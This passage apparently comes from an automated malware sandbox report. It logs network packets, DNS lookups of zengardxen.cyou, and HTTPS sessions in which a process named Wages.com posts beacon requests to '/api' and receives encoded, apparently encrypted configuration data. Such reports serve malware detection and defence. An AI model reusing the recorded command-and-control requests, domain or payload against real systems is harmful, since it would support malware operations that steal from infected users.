Feb 14, 2025 16:55:56.848292112 CET	49738	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:56.848298073 CET	443	49738	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:56.848439932 CET	443	49738	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:56.848483086 CET	49738	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:56.848489046 CET	443	49738	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:56.897631884 CET	443	49738	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:56.897735119 CET	443	49738	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:56.897787094 CET	49738	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:56.897813082 CET	443	49738	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:56.897866964 CET	49738	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:56.897872925 CET	443	49738	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:56.898034096 CET	443	49738	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:56.898092031 CET	49738	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:56.898600101 CET	49738	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:56.898622990 CET	443	49738	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:56.898637056 CET	49738	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:56.898643970 CET	443	49738	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:56.959539890 CET	49739	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:56.959583044 CET	443	49739	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:56.959688902 CET	49739	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:56.960014105 CET	49739	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:56.960027933 CET	443	49739	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:57.459749937 CET	443	49739	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:57.459844112 CET	49739	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:57.461055040 CET	49739	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:57.461067915 CET	443	49739	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:57.461407900 CET	443	49739	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:57.462858915 CET	49739	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:57.463001966 CET	49739	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:57.463036060 CET	443	49739	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:57.463090897 CET	49739	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:57.463097095 CET	443	49739	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:58.812232018 CET	443	49739	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:58.812352896 CET	443	49739	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:58.812406063 CET	49739	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:58.812511921 CET	49739	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:58.812525988 CET	443	49739	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:58.832370043 CET	49740	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:58.832422018 CET	443	49740	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:58.832534075 CET	49740	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:58.832864046 CET	49740	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:58.832882881 CET	443	49740	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:59.322674990 CET	443	49740	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:59.322762012 CET	49740	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:59.323858023 CET	49740	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:59.323878050 CET	443	49740	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:59.324253082 CET	443	49740	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:59.325524092 CET	49740	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:59.325793028 CET	49740	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:59.325833082 CET	443	49740	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:59.898119926 CET	443	49740	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:59.898355007 CET	443	49740	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:59.898411036 CET	49740	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:59.898473978 CET	49740	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:59.898497105 CET	443	49740	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:59.984483957 CET	49741	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:59.984539032 CET	443	49741	188.114.97.3	192.168.2.4
Feb 14, 2025 16:55:59.984621048 CET	49741	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:59.984903097 CET	49741	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:55:59.984914064 CET	443	49741	188.114.97.3	192.168.2.4
Feb 14, 2025 16:56:00.447176933 CET	443	49741	188.114.97.3	192.168.2.4
Feb 14, 2025 16:56:00.447277069 CET	49741	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:00.448467016 CET	49741	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:00.448477983 CET	443	49741	188.114.97.3	192.168.2.4
Feb 14, 2025 16:56:00.448976040 CET	443	49741	188.114.97.3	192.168.2.4
Feb 14, 2025 16:56:00.452361107 CET	49741	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:00.452565908 CET	49741	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:00.452595949 CET	443	49741	188.114.97.3	192.168.2.4
Feb 14, 2025 16:56:00.452661037 CET	49741	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:00.452671051 CET	443	49741	188.114.97.3	192.168.2.4
Feb 14, 2025 16:56:01.199923992 CET	443	49741	188.114.97.3	192.168.2.4
Feb 14, 2025 16:56:01.200175047 CET	443	49741	188.114.97.3	192.168.2.4
Feb 14, 2025 16:56:01.200253010 CET	49741	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:01.200339079 CET	49741	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:01.200359106 CET	443	49741	188.114.97.3	192.168.2.4
Feb 14, 2025 16:56:01.270073891 CET	49742	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:01.270137072 CET	443	49742	188.114.97.3	192.168.2.4
Feb 14, 2025 16:56:01.270230055 CET	49742	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:01.270509958 CET	49742	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:01.270540953 CET	443	49742	188.114.97.3	192.168.2.4
Feb 14, 2025 16:56:01.763402939 CET	443	49742	188.114.97.3	192.168.2.4
Feb 14, 2025 16:56:01.763539076 CET	49742	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:01.764940977 CET	49742	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:01.764970064 CET	443	49742	188.114.97.3	192.168.2.4
Feb 14, 2025 16:56:01.765312910 CET	443	49742	188.114.97.3	192.168.2.4
Feb 14, 2025 16:56:01.766524076 CET	49742	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:01.766653061 CET	49742	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:01.766675949 CET	443	49742	188.114.97.3	192.168.2.4
Feb 14, 2025 16:56:02.396785021 CET	443	49742	188.114.97.3	192.168.2.4
Feb 14, 2025 16:56:02.396897078 CET	443	49742	188.114.97.3	192.168.2.4
Feb 14, 2025 16:56:02.396950006 CET	49742	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:02.397088051 CET	49742	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:02.397110939 CET	443	49742	188.114.97.3	192.168.2.4
Feb 14, 2025 16:56:02.631853104 CET	49743	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:02.631925106 CET	443	49743	188.114.97.3	192.168.2.4
Feb 14, 2025 16:56:02.632035971 CET	49743	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:02.632365942 CET	49743	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:02.632400036 CET	443	49743	188.114.97.3	192.168.2.4
Feb 14, 2025 16:56:03.118221998 CET	443	49743	188.114.97.3	192.168.2.4
Feb 14, 2025 16:56:03.118341923 CET	49743	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:03.119508028 CET	49743	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:03.119539022 CET	443	49743	188.114.97.3	192.168.2.4
Feb 14, 2025 16:56:03.119873047 CET	443	49743	188.114.97.3	192.168.2.4
Feb 14, 2025 16:56:03.120810032 CET	49743	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:03.121350050 CET	49743	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:03.121397972 CET	443	49743	188.114.97.3	192.168.2.4
Feb 14, 2025 16:56:03.121515036 CET	49743	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:03.121557951 CET	443	49743	188.114.97.3	192.168.2.4
Feb 14, 2025 16:56:03.121676922 CET	49743	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:03.121834993 CET	443	49743	188.114.97.3	192.168.2.4
Feb 14, 2025 16:56:03.121978998 CET	49743	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:03.122020006 CET	443	49743	188.114.97.3	192.168.2.4
Feb 14, 2025 16:56:03.122183084 CET	49743	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:03.122225046 CET	443	49743	188.114.97.3	192.168.2.4
Feb 14, 2025 16:56:03.122395039 CET	49743	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:03.122432947 CET	443	49743	188.114.97.3	192.168.2.4
Feb 14, 2025 16:56:03.122452021 CET	49743	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:03.122481108 CET	443	49743	188.114.97.3	192.168.2.4
Feb 14, 2025 16:56:03.122627974 CET	49743	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:03.122673035 CET	443	49743	188.114.97.3	192.168.2.4
Feb 14, 2025 16:56:03.122711897 CET	49743	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:03.122734070 CET	443	49743	188.114.97.3	192.168.2.4
Feb 14, 2025 16:56:03.122821093 CET	49743	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:03.122864962 CET	443	49743	188.114.97.3	192.168.2.4
Feb 14, 2025 16:56:03.122921944 CET	49743	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:03.122941971 CET	443	49743	188.114.97.3	192.168.2.4
Feb 14, 2025 16:56:03.123034000 CET	49743	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:03.123107910 CET	49743	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:03.123145103 CET	49743	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:03.131129980 CET	443	49743	188.114.97.3	192.168.2.4
Feb 14, 2025 16:56:04.918935061 CET	443	49743	188.114.97.3	192.168.2.4
Feb 14, 2025 16:56:04.919050932 CET	443	49743	188.114.97.3	192.168.2.4
Feb 14, 2025 16:56:04.919239998 CET	49743	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:04.919488907 CET	49743	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:04.919533014 CET	443	49743	188.114.97.3	192.168.2.4
Feb 14, 2025 16:56:04.922645092 CET	49744	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:04.922689915 CET	443	49744	188.114.97.3	192.168.2.4
Feb 14, 2025 16:56:04.922779083 CET	49744	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:04.923212051 CET	49744	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:04.923223019 CET	443	49744	188.114.97.3	192.168.2.4
Feb 14, 2025 16:56:05.414225101 CET	443	49744	188.114.97.3	192.168.2.4
Feb 14, 2025 16:56:05.414361954 CET	49744	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:05.415713072 CET	49744	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:05.415724039 CET	443	49744	188.114.97.3	192.168.2.4
Feb 14, 2025 16:56:05.416613102 CET	443	49744	188.114.97.3	192.168.2.4
Feb 14, 2025 16:56:05.417987108 CET	49744	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:05.418010950 CET	49744	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:05.418135881 CET	443	49744	188.114.97.3	192.168.2.4
Feb 14, 2025 16:56:05.960134029 CET	443	49744	188.114.97.3	192.168.2.4
Feb 14, 2025 16:56:05.960257053 CET	443	49744	188.114.97.3	192.168.2.4
Feb 14, 2025 16:56:05.960434914 CET	49744	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:05.960539103 CET	49744	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:05.960561991 CET	443	49744	188.114.97.3	192.168.2.4
Feb 14, 2025 16:56:05.960580111 CET	49744	443	192.168.2.4	188.114.97.3
Feb 14, 2025 16:56:05.960587025 CET	443	49744	188.114.97.3	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 14, 2025 16:55:21.955965996 CET	57130	53	192.168.2.4	1.1.1.1
Feb 14, 2025 16:55:21.963825941 CET	53	57130	1.1.1.1	192.168.2.4
Feb 14, 2025 16:55:54.656527996 CET	51185	53	192.168.2.4	1.1.1.1
Feb 14, 2025 16:55:54.680768967 CET	53	51185	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Feb 14, 2025 16:55:21.955965996 CET	192.168.2.4	1.1.1.1	0x6d9e	Standard query (0)	jnYxaqNNmUyHTVQ.jnYxaqNNmUyHTVQ	A (IP address)	IN (0x0001)	false
Feb 14, 2025 16:55:54.656527996 CET	192.168.2.4	1.1.1.1	0xf895	Standard query (0)	zengardxen.cyou	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Feb 14, 2025 16:55:21.963825941 CET	1.1.1.1	192.168.2.4	0x6d9e	Name error (3)	jnYxaqNNmUyHTVQ.jnYxaqNNmUyHTVQ	none	none	A (IP address)	IN (0x0001)	false
Feb 14, 2025 16:55:54.680768967 CET	1.1.1.1	192.168.2.4	0xf895	No error (0)	zengardxen.cyou		188.114.97.3	A (IP address)	IN (0x0001)	false
Feb 14, 2025 16:55:54.680768967 CET	1.1.1.1	192.168.2.4	0xf895	No error (0)	zengardxen.cyou		188.114.96.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

zengardxen.cyou

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49737	188.114.97.3	443	7884	C:\Users\user\AppData\Local\Temp\562639\Wages.com

Timestamp	Bytes transferred	Direction	Data
2025-02-14 15:55:55 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: zengardxen.cyou
2025-02-14 15:55:55 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2025-02-14 15:55:55 UTC	1120	IN	HTTP/1.1 200 OK Date: Fri, 14 Feb 2025 15:55:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=1cpucpeinm7oehb3bf26pncufa; expires=Sat, 15 Feb 2025 15:55:55 GMT; Max-Age=86400; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XY%2FEv63IkGEtSZxhJBLX0YuJuSseS3Ne2%2FQYLGqTiJHpvzOTTIsIRtLod8P9uu8R1AFUlHXXtRZI2RmsHQWZwQBVe4ZCVIyEZpJkM%2B7re6StIxd5imGr47GUQKeCiWAYHAg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 911e3ec67972d6c8-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7550&min_rtt=7527&rtt_var=2869&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=906&delivery_rate=378630&cwnd=32&unsent_bytes=0&cid=141b543dfb3e0db7&ts=532&x=0"
2025-02-14 15:55:55 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2025-02-14 15:55:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49738	188.114.97.3	443	7884	C:\Users\user\AppData\Local\Temp\562639\Wages.com

Timestamp	Bytes transferred	Direction	Data
2025-02-14 15:55:56 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 46 Host: zengardxen.cyou
2025-02-14 15:55:56 UTC	46	OUT	Data Raw: 61 63 74 3d 72 65 63 65 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 57 47 36 49 36 53 2d 2d 6d 6d 6d 26 6a 3d Data Ascii: act=receive_message&ver=4.0&lid=WG6I6S--mmm&j=
2025-02-14 15:55:56 UTC	1122	IN	HTTP/1.1 200 OK Date: Fri, 14 Feb 2025 15:55:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=vmsl4rqdpqj9f3rfa0hplqkhrq; expires=Sat, 15 Feb 2025 15:55:56 GMT; Max-Age=86400; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=367C8JnYmyG7FYTyhVlxRML%2FwY6b7xGkqPSk13WhkuAGiQs%2FiV0mBlv%2BUyofx9thUfm6%2FojttBqsRLQmVAIMnSqgCJvZgud5oXPjaJb3xP45yMII4nTTBuIxxFz0bfLPuOs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 911e3eccdefc82ff-IAD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7317&min_rtt=7271&rtt_var=2759&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2835&recv_bytes=945&delivery_rate=401595&cwnd=32&unsent_bytes=0&cid=a0a71d8a7ecade2e&ts=625&x=0"
2025-02-14 15:55:56 UTC	247	IN	Data Raw: 31 63 61 37 0d 0a 53 6d 50 4c 57 50 4f 72 41 47 47 56 63 55 6a 6e 56 4b 67 65 66 6d 6f 79 49 68 42 63 41 71 6c 72 67 73 2f 61 59 43 52 76 54 4b 41 78 51 62 31 36 79 5a 38 73 51 2b 59 55 61 74 30 67 32 6d 73 62 52 68 42 44 64 48 34 34 7a 77 72 75 76 4c 39 4d 42 68 6b 68 67 6e 41 46 71 6a 53 41 7a 69 78 44 38 41 6c 71 33 51 2f 54 50 42 73 45 45 42 67 79 4f 57 6a 4c 43 75 36 74 75 77 74 4c 48 79 44 44 49 67 2b 73 4d 4a 62 49 5a 41 44 35 48 43 32 43 4d 63 6c 30 45 41 4e 66 53 6e 31 2b 4c 6f 73 4f 2b 4f 33 67 51 6d 6b 4b 4f 4d 45 48 41 72 67 7a 30 64 59 73 47 72 63 55 4a 73 56 75 69 6e 38 62 43 46 35 45 64 44 64 71 77 51 50 6d 72 4c 34 4b 56 41 59 71 79 43 49 42 72 7a 47 63 77 58 41 4e 38 78 73 6d 68 44 76 4a 50 46 4a 49 56 31 67 79 5a Data Ascii: 1ca7SmPLWPOrAGGVcUjnVKgefmoyIhBcAqlrgs/aYCRvTKAxQb16yZ8sQ+YUat0g2msbRhBDdH44zwruvL9MBhkhgnAFqjSAzixD8Alq3Q/TPBsEEBgyOWjLCu6tuwtLHyDDIg+sMJbIZAD5HC2CMcl0EANfSn1+LosO+O3gQmkKOMEHArgz0dYsGrcUJsVuin8bCF5EdDdqwQPmrL4KVAYqyCIBrzGcwXAN8xsmhDvJPFJIV1gyZ
2025-02-14 15:55:56 UTC	1369	IN	Data Raw: 69 43 59 4f 2b 4f 38 71 52 64 4c 48 53 69 43 4e 30 2b 77 65 70 62 46 49 6c 75 33 47 79 61 4c 4d 38 6c 7a 47 77 6c 51 55 6e 30 2b 59 38 4d 42 35 4b 65 33 44 55 6b 44 4a 4d 55 67 43 4b 34 31 6c 73 46 6b 44 50 52 54 5a 4d 55 78 30 6a 78 45 53 48 42 51 63 54 31 30 78 68 69 67 73 76 59 62 42 67 6f 69 67 6e 42 42 72 7a 53 51 78 47 49 52 2f 78 67 68 67 43 54 42 64 52 45 46 55 45 31 34 4d 57 50 4c 44 75 71 6e 74 77 68 43 41 43 50 45 4b 41 48 70 64 4e 48 4f 65 6b 4f 76 55 77 6d 41 4a 73 31 77 43 6b 70 71 41 47 31 77 65 59 73 4f 37 4f 33 67 51 6b 34 49 4c 63 45 6a 44 71 6f 79 6d 74 74 69 45 66 45 65 4c 35 63 77 7a 33 49 57 43 30 4a 4b 66 44 68 6a 77 67 4c 70 71 4c 38 47 42 6b 4e 75 78 54 42 42 38 58 71 77 78 47 6b 50 2f 51 51 71 78 53 6d 45 5a 56 77 50 58 41 41 71 Data Ascii: iCYO+O8qRdLHSiCN0+wepbFIlu3GyaLM8lzGwlQUn0+Y8MB5Ke3DUkDJMUgCK41lsFkDPRTZMUx0jxESHBQcT10xhigsvYbBgoignBBrzSQxGIR/xghgCTBdREFUE14MWPLDuqntwhCACPEKAHpdNHOekOvUwmAJs1wCkpqAG1weYsO7O3gQk4ILcEjDqoymttiEfEeL5cwz3IWC0JKfDhjwgLpqL8GBkNuxTBB8XqwxGkP/QQqxSmEZVwPXAAq
2025-02-14 15:55:56 UTC	1369	IN	Data Raw: 57 67 34 2f 67 46 58 6b 31 32 67 67 49 43 76 54 6d 62 69 31 63 41 2b 52 30 74 6b 33 62 56 4d 67 56 49 56 30 77 79 5a 69 44 47 43 4f 69 72 71 67 31 4c 44 69 44 4d 4a 77 53 6d 4d 70 48 4a 62 77 62 7a 47 43 47 47 4f 38 35 75 46 67 68 59 52 58 4d 30 61 6f 74 48 6f 4b 71 67 51 68 35 4e 48 39 55 6a 51 35 77 35 6e 38 64 6c 46 62 63 4d 5a 4a 78 32 7a 58 42 63 55 42 42 4e 65 6a 74 6c 78 41 6a 71 6f 37 30 49 53 67 55 67 77 54 6f 4f 72 54 71 64 77 57 67 4f 2b 52 63 69 6a 44 33 42 65 68 77 4a 57 67 41 38 66 6d 66 54 53 62 6a 74 6a 41 56 4b 41 43 47 41 48 51 4b 6e 4e 4a 62 66 49 68 79 35 43 6d 71 43 4f 6f 6f 6b 58 41 52 5a 51 48 6b 30 5a 4d 73 4f 37 61 69 37 42 55 55 41 4b 63 67 6d 42 71 30 32 6d 4d 52 6b 41 2f 41 58 4c 35 63 7a 77 33 41 51 53 42 34 41 64 53 59 67 6b Data Ascii: Wg4/gFXk12ggICvTmbi1cA+R0tk3bVMgVIV0wyZiDGCOirqg1LDiDMJwSmMpHJbwbzGCGGO85uFghYRXM0aotHoKqgQh5NH9UjQ5w5n8dlFbcMZJx2zXBcUBBNejtlxAjqo70ISgUgwToOrTqdwWgO+RcijD3BehwJWgA8fmfTSbjtjAVKACGAHQKnNJbfIhy5CmqCOookXARZQHk0ZMsO7ai7BUUAKcgmBq02mMRkA/AXL5czw3AQSB4AdSYgk
2025-02-14 15:55:56 UTC	1369	IN	Data Raw: 30 51 68 35 4e 4a 38 73 36 44 36 63 7a 6e 4d 39 71 42 50 6b 65 49 59 4d 39 7a 58 73 61 42 56 68 4e 64 7a 31 68 7a 77 50 79 72 72 4d 49 53 77 64 75 6a 47 67 47 73 58 72 4a 69 55 55 50 33 67 4d 78 6c 79 43 4b 59 31 49 52 45 45 64 2b 66 6a 69 4c 43 75 2b 6b 74 77 70 4f 41 69 48 47 4a 67 65 76 4e 35 54 47 61 42 48 2f 48 53 65 4f 4f 63 46 75 48 41 56 55 54 48 59 32 61 38 46 4a 72 75 32 2f 47 67 5a 56 62 76 63 6c 44 71 6b 35 68 34 6c 39 54 65 35 54 4c 59 6c 32 6b 6a 77 51 42 6c 42 50 66 6a 4a 72 77 77 6a 73 6f 37 38 48 54 77 55 6d 30 43 6b 46 6f 54 75 66 78 6d 4d 48 38 68 59 75 67 6a 4c 4d 63 31 78 47 45 45 64 71 66 6a 69 4c 4a 73 65 59 2b 69 4e 38 54 54 47 4d 4d 55 47 75 4e 74 47 52 49 67 2f 30 48 79 4b 4b 4d 4d 4e 77 46 67 46 62 54 48 6b 36 62 4d 49 4d 35 71 Data Ascii: 0Qh5NJ8s6D6cznM9qBPkeIYM9zXsaBVhNdz1hzwPyrrMISwdujGgGsXrJiUUP3gMxlyCKY1IREEd+fjiLCu+ktwpOAiHGJgevN5TGaBH/HSeOOcFuHAVUTHY2a8FJru2/GgZVbvclDqk5h4l9Te5TLYl2kjwQBlBPfjJrwwjso78HTwUm0CkFoTufxmMH8hYugjLMc1xGEEdqfjiLJseY+iN8TTGMMUGuNtGRIg/0HyKKMMNwFgFbTHk6bMIM5q
2025-02-14 15:55:56 UTC	1369	IN	Data Raw: 48 79 6e 4c 4f 67 2b 6b 4e 5a 6e 42 61 77 4c 7a 46 69 65 44 4f 73 42 39 47 77 5a 65 53 44 4a 77 49 4d 77 52 6f 50 58 34 49 31 59 57 50 4e 51 6c 49 4b 51 31 30 64 59 73 47 72 63 55 4a 73 56 75 69 6e 55 4f 44 46 31 53 65 7a 6c 75 78 41 72 79 72 4c 55 4a 56 41 6f 68 78 69 38 4e 72 7a 57 58 79 47 63 4a 2b 78 51 76 6a 6a 6e 47 50 46 4a 49 56 31 67 79 5a 69 44 6c 41 76 4f 36 75 77 78 4e 47 7a 57 43 4e 30 2b 77 65 70 62 46 49 6c 75 33 45 43 47 4f 4d 73 70 77 48 41 78 64 51 47 41 78 5a 38 77 41 36 37 2b 79 42 55 45 47 4a 73 6b 6e 42 37 73 32 6e 39 74 6e 45 65 56 54 5a 4d 55 78 30 6a 78 45 53 47 5a 48 59 69 35 6a 69 54 6a 32 72 71 34 4a 53 77 46 75 33 57 59 59 36 54 32 64 69 54 70 44 38 52 77 6a 68 6a 6e 4c 64 52 41 46 56 55 6c 33 50 32 62 50 41 2b 71 74 76 67 52 Data Ascii: HynLOg+kNZnBawLzFieDOsB9GwZeSDJwIMwRoPX4I1YWPNQlIKQ10dYsGrcUJsVuinUODF1SezluxAryrLUJVAohxi8NrzWXyGcJ+xQvjjnGPFJIV1gyZiDlAvO6uwxNGzWCN0+wepbFIlu3ECGOMspwHAxdQGAxZ8wA67+yBUEGJsknB7s2n9tnEeVTZMUx0jxESGZHYi5jiTj2rq4JSwFu3WYY6T2diTpD8RwjhjnLdRAFVUl3P2bPA+qtvgR
2025-02-14 15:55:56 UTC	1369	IN	Data Raw: 32 67 47 70 58 72 4a 69 57 45 45 39 42 49 67 6a 44 72 46 65 78 67 61 57 6b 64 67 50 32 48 41 42 4f 79 74 74 51 39 4d 44 43 66 50 4a 41 79 75 50 5a 37 4d 49 6b 32 33 46 44 4c 46 62 6f 70 64 45 51 4e 63 47 79 68 2b 66 34 55 51 6f 4b 71 30 51 68 35 4e 4c 73 67 74 43 36 51 35 6e 73 70 77 41 76 45 42 4b 6f 67 38 32 48 59 58 44 56 31 4e 66 7a 31 6d 7a 51 4c 73 76 37 45 43 52 51 5a 75 6a 47 67 47 73 58 72 4a 69 55 45 55 34 52 6b 74 69 53 44 42 66 52 38 65 58 56 41 79 63 43 44 61 44 76 48 74 34 42 52 57 47 69 6e 64 5a 68 6a 70 50 5a 32 4a 4f 6b 50 78 47 69 79 43 4d 4d 52 75 47 51 35 66 54 33 73 33 5a 4d 4d 4b 34 4b 6d 38 42 55 4d 4f 49 73 6b 76 41 71 59 2b 6d 4d 64 72 44 4c 64 64 61 6f 49 75 69 69 52 63 4b 55 74 44 66 6a 4d 67 31 45 66 35 37 62 38 4f 42 6c 56 75 Data Ascii: 